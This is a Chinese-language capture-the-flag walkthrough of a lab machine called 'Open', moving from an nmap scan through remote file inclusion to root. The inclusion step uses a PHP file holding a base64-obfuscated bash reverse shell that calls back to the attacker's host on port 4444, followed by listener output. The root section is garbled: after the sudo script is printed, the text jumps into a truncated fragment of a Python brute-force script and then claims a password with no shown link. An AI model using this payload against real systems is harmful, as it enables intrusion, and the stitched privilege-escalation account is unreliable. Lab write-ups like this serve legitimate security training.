nmap 192.168.56.130 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-03 08:23 EDT Nmap scan report for open.dsz (192.168.56.130) Host is up (0.00048s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:5E:25:AE (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
访问80端口提示跳转域名open .dsz , 放到host里。
Getshell
访问得到一个url界面,提示有RFI(远程文件包含)
在攻击机上起个http服务(python3 -m http 80)反弹shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
cat 1.php <?php echoshell_exec("printf KGJhc2ggPiYgL2Rldi90Y3AvMTkyLjE2OC41Ni4xMDQvNDQ0NCAwPiYxKSAm|base64 -d|bash"); ?> ┌──(root㉿kali)-[/home/kali/Desktop] └─# ./penelope.py [+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.21.128 • 192.168.56.104 • 172.17.0.1 • 172.18.0.1 ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from Open-192.168.56.130-Linux-x86_64 😍 Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /root/.penelope/Open~192.168.56.130_Linux_x86_64/2025_08_03-06_46_03-181.log 📜
─────────────────────────────────────────────────────────────────────────────── ➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C) [+] Got reverse shell from Open-192.168.56.130-Linux-x86_64 😍 Assigned SessionID <1> [+] Attempting to upgrade shell to PTY... [+] Shell upgraded successfully using /usr/bin/python3! 💪 [+] Interacting with session [1], Shell Type: PTY, Menu key: F12 [+] Logging to /root/.penelope/Open~192.168.56.130_Linux_x86_64/2025_08_03-07_29_25-362.log 📜 ────────────────────────────────────────────────────────────────────────────────────────────────────────
之后写个公钥方便进去。
Root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
miao@Open:~$ sudo -l Matching Defaults entries for miao on Open: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User miao may run the following commands on Open: (ALL) NOPASSWD: /opt/hello.sh miao@Open:~$ sudo /opt/hello.sh dsz miao@Open:~$ cat /opt/hello.sh PATH=/usr/bin
for word in lines: if found: break while threading.active_count() >= MAX_THREADS: pass# 等待有线程空出 t = threading.Thread(target=start_thread, args=(word,)) t.start() threads.append(t)
for t in threads: t.join()
ifnot found: print("\n[-] 未找到匹配项")
if __name__ == "__main__": main()
拿到密码登录root。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
ssh root@192.168.56.130 root@192.168.56.130's password: Linux Open 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Jul 29 00:48:55 2025 from 192.168.3.94 root@Open:~# cat /root/root.txt flag{root-6cd1f22e65d26246530ff7a2528144e3} root@Open:~#